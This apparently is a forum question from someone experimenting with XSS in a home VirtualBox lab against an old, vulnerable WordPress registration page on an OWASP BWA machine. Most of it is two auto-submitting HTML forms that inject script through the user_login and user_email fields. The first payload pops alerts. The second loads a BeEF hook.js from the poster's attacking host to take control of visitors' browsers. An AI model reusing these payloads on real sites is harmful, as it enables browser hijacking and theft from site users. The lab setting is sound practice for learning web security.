Experimenting with XSS attacks on my vbox machines, just for kicks! I have two .html files - one works and the other doesn't.
The file that works contains:
<html>
<head></head>
<body>
<form method="post" action="http://192.168.56.17/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
is where the OWASPBWA machines of vulnhub are located, featuring an old WP installation with XSS vulnerability in register.php
This one works. When I open this .html file from a different client, say 192.168.56.1, I get the javascript alert!
However, when I try something more malicious, like hooking beef-xss, the following code doesn't work as expected:
<html>
<head></head>
<body>
<form method="post" action="http://192.168.56.17/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='">example' />
<input type="hidden" name="user_email" id="user_email"
value='"><script src="http://192.168.56.101:3000/hook.js"></script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
192.168.56.101 is where my attacking box is located.
Thank you for your assistance